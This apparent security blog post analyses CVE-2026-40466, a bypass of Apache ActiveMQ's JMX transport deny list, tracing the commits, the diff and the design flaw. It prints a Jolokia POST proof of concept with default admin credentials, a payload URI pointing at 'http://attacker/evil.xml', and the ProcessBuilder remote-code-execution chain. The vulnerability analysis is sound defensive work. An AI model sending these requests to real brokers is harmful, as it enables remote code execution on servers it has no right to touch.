//nefariousplan

CVE-2026-40466: HTTP Discovery Was Row Two Of A Fourteen-Row Deny List

patterns

cve

proof of concept

Apache ActiveMQ pull request #1918 merged on 2026-04-14, twenty-seven days after 5.19.4 closed CVE-2026-34197. The PR title is "Add Http discovery transport to denied list for JMX." The diff adds the literal "http" to a Set.of(...) of denied schemes in BrokerView.java. Thirty-eight days after that merge, MITRE assigned CVE-2026-40466 for the bypass the PR closes. The bypass class was named in a commit title before it was named in a CVE record.

CVE-2026-34197 is row one of the deny list. CVE-2026-40466 is row two. The list has fourteen rows.

The bypass is one bare scheme

The CVE-2026-34197 PoC used a composite URI: static:(vm://anyname?brokerConfig=xbean:http://attacker/evil.xml). The 5.19.4 validator walked composite components, found the inner vm scheme, and refused.

The CVE-2026-40466 PoC, the Nuclei template committed by DhiyaneshDk, uses a bare URI:

POST /api/jolokia/ HTTP/1.1
Host: target:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/json
Origin: http://target:8161

{"type":"exec",
 "mbean":"org.apache.activemq:type=Broker,brokerName=localhost",
 "operation":"addNetworkConnector(java.lang.String)",
 "arguments":["http://attacker/discovery"]}

The 5.19.4 validator walks one component, sees scheme http, and lets it through. The validator is doing exactly what it always did. The deny list it consults contains one entry, and that entry is vm. The 5.19.4 source comment says so: // We don't allow VM transport scheme to be used. Every JMX caller in 5.19.4 and 5.19.5 who passes a non-vm scheme reaches brokerService.addNetworkConnector(...) unmolested. ActiveMQ 5.19.5 was tagged on 2026-04-08 with that line still in place; it included a typo fix on the recursive composite walker but no new entries on the deny list.

The HTTP discovery agent is the second parser

brokerService.addNetworkConnector("http://attacker/discovery") builds a DiscoveryNetworkConnector. The connector resolves scheme http to the discovery agent registered at META-INF/services/org/apache/activemq/transport/discoveryagent/http in the activemq-http module:

class=org.apache.activemq.transport.discovery.http.HTTPDiscoveryAgentFactory

The factory builds an HTTPDiscoveryAgent with registryURL = "http://attacker/discovery". The agent's start() spawns a thread that calls update() every ten seconds, which calls doLookup(...):

synchronized private Set<String> doLookup(long freshness) {
    String url = registryURL + "?freshness=" + freshness;
    HttpGet method = new HttpGet(url);
    ResponseHandler<String> handler = new BasicResponseHandler();
    String response = httpClient.execute(method, handler);
    Set<String> rc = new HashSet<String>();
    Scanner scanner = new Scanner(response);
    while (scanner.hasNextLine()) {
        String service = scanner.nextLine();
        if (service.trim().length() != 0) {
            rc.add(service);
        }
    }
    scanner.close();
    return rc;
}

Each non-empty line of the HTTP response is a service URI. update() wraps each new service URI in a SimpleDiscoveryEvent(service) and calls discoveryListener.onServiceAdd(event). The listener is the DiscoveryNetworkConnector. Its job is to add a transport connection for each newly-discovered broker URI.

The attacker's HTTP server responds to GET /discovery?freshness=30000 with one line:

vm://anyname?brokerConfig=xbean:http://attacker/evil.xml

The network connector treats that line as a broker URI and constructs the transport. The transport scheme is vm. There is no validateAllowedUrl call between doLookup's scanner and BrokerService.createTransport. The validator's authority ends at the JMX argument. Once past it, the broker creates whatever transport its own factories register.

The vm transport spins up an in-VM broker via XBeanBrokerFactory, which loads xbean:http://attacker/evil.xml through ResourceXmlApplicationContext. The XML declares a ProcessBuilder bean with init-method="start". Spring instantiates the bean during singleton initialization. ProcessBuilder.start() runs. The broker JVM forks the attacker's command. The XBean to Spring to RCE chain is the same chain CVE-2026-34197 used; the only thing that changed is how the vm:// URI gets into the broker.

The fix is one Set entry

PR #1918's diff against BrokerView.java:

+    private static final Set<String> DENIED_TRANSPORT_SCHEMES = Set.of("vm", "http");
+
-    // We don't allow VM transport scheme to be used
+    // Check all denied schemes
     private static void validateAllowedScheme(String scheme) {
-        if (scheme.equals("vm")) {
-            throw new IllegalArgumentException("VM scheme is not allowed");
+        for (String denied : DENIED_TRANSPORT_SCHEMES) {
+            if (scheme.equalsIgnoreCase(denied)) {
+                throw new IllegalArgumentException("Transport scheme '" + scheme + "' is not allowed");
+            }
         }
     }

The new test method is the old one with vm replaced by http and the body lifted into a parameterized helper:

protected void testAddTransportConnectorBlockedBrokerView(String scheme) throws Exception {
    ObjectName brokerName = assertRegisteredObjectName(domain + ":type=Broker,brokerName=localhost");
    BrokerViewMBean brokerView = MBeanServerInvocationHandler.newProxyInstance(
        mbeanServer, brokerName, BrokerViewMBean.class, true);

    try {
        brokerView.addConnector(scheme + "://localhost");
        fail("Should have failed trying to add connector");
    } catch (IllegalArgumentException e) {
        assertEquals("Transport scheme '" + scheme + "' is not allowed", e.getMessage());
    }
    // composite and nested composite cases follow with the same shape
}

The author parameterized over scheme. The test logic is the same for every entry on the deny list. Adding a row to the Set requires one new caller string and one new test method. The deny list and its tests are both lookup tables.

The deny list grows by commit

The publicly visible cadence on activemq-5.19.x, BrokerView.java, after 5.19.4:

Date Commit Change CVE
2026-03-26 0ce7560 Add validateAllowedScheme(scheme) denying vm. Released as 5.19.4. CVE-2026-34197
2026-04-11 0a15814 Fix variable shadowing in validateAllowedUri inner loop. None.
2026-04-14 c84899b Promote check to Set.of("vm", "http"). PR title: "Add Http discovery transport to denied list for JMX." CVE-2026-40466
2026-04-21 f7e4726 Add multicast, zeroconf, discovery, fanout, mock, peer, failover, proxy, reliable, simple, udp. Released as 5.19.6. None.
2026-04-27 2c69e46 Add masterslave. PR title ends in "part 2." None.

Eleven schemes shipped in f7e4726. One more in 2c69e46. Twelve schemes in two commits, none of them carrying a CVE number. The PR titles say what the commits do: "Add more transport types to the denied list for JMX" and "Add more transport types to the denied list for JMX part 2." Each scheme on the list is a transport factory addNetworkConnector(String) could have reached in 5.19.4 and 5.19.5. None of those bypasses had publicly available exploits at the time of the commits, but the maintainer wrote the patches anyway, in batches, on the same branch, in the same Set literal.

The list contains its own punchline. One of the entries shipped in f7e4726 is the literal scheme discovery. The JMX surface is now configured to refuse a URI whose outer scheme is discovery: while accepting a URI whose outer scheme is http, where the http factory is itself a discovery agent. The category "transports that perform discovery against a remote URL" is larger than the set of schemes named discovery. The deny list refuses the named members of the category and admits the unnamed ones until somebody reads the registry.

The validator is on the wrong side of the second parser

The shape from our prior coverage was that addNetworkConnector(String discoveryAddress) accepts every URI scheme the transport factory registry has ever registered. The deny list trims the registry by name; the registry itself remains open. CVE-2026-40466 adds one wrinkle on top of that.

The wrinkle is that http is not just another transport factory in the same class as tcp or nio. The HTTP discovery agent is itself a parser of remote content. Its job is to fetch a URL and treat each line of the response as a broker URI. Once the validator approves the caller's http://attacker/discovery, the agent runs, the attacker controls the next round of input, and that input contains the same vm:// scheme the validator just refused. The inner URI reaches BrokerService.createTransport through a path that does not call validateAllowedUrl.

There are two parsers between the JMX caller and broker creation. The first parses the JMX argument (URISupport). The second parses the HTTP body (the discovery agent's Scanner). The validator runs after the first parser and before the second. After the second, no validation runs at all. Adding http to the deny list closes the second parser by refusing to let it run. The patch does not introduce validation at the second parser's output, because the second parser's output is the discovery event delivery API, which is a Java method call, not a JMX entry point. The validator is a property of the JMX surface, not of the broker creation path; the path can be reached from places that are not JMX, and when it is, no validator runs.

This is unpatchable-primitive. The primitive is "a JMX-reachable string method whose argument chooses a transport factory with config-fetching authority." Removing the primitive means changing addNetworkConnector(String) to take a constrained type, or removing the method from the public BrokerViewMBean interface. Neither happened in 5.19.6. The patch closed the http row of the deny list and left the registry-driven dispatch open. The next CVE in this family is whichever transport factory whose creation chain touches the network, the filesystem, or another URI parser before the validator gets a second look.

It is also design-debt-driver. The deny list grows because the parameter type is String and the URI registry is open. Each row of the list is a transport factory the maintainer is patching by name, in batches, on the same branch, in the same file. The first row got CVE-2026-34197. The second row got CVE-2026-40466. The other twelve rows are patched without numbers; the patches landed before any public exploitation, in PRs whose titles do not pretend to be coordinated security disclosures.

It is internal-only-by-convention at the discovery layer. The HTTP discovery agent is documented as an inter-broker registry mechanism; the framework defines it as an internal coordination transport. The JMX surface reads the same scheme name from a remote authenticated MBean caller and dispatches to the same agent. The internal-only contract is one paragraph in the documentation. The enforcement is fourteen entries on a Set.

The CVE caught up to the commit

PR #1918 was opened by cshannon on 2026-04-13 and merged on 2026-04-14. The PR body is one sentence: "This also prevents the Http discovery transport from being added as a connector or network connector through JMX and Jolokia." "This also" is ordinary developer English for "in addition to the previous patch." The commit is part of a sweep. The maintainer was reading the rest of the codebase the way he had read it for the original CVE, finding the same shape, and shipping fixes commit by commit.

5.19.6 was tagged on 2026-04-21, seven days after the merge. The first scanner observation of CVE-2026-40466 was 2026-04-28, seven days after the release. The advisory text Apache published references the CVE-2026-34197 announcement file as the precursor and credits two finders, Fatih Ersinadim and gggggggga, who are different people from the researcher credited on CVE-2026-34197. The commit predates the credit. The fix predates the CVE record. The maintainer's commit title and the CVE description name the same thing in nearly the same words, written six weeks apart.

The other twelve rows of the deny list are also bypasses of the CVE-2026-34197 fix. They were patched by the same author, in the same file, in commits whose PR titles end in "part 2." The CVE record for any of them is whichever finder writes the next Jolokia POST and reports it.

PoC: projectdiscovery/nuclei-templates

The deny list has fourteen entries. Two have CVEs.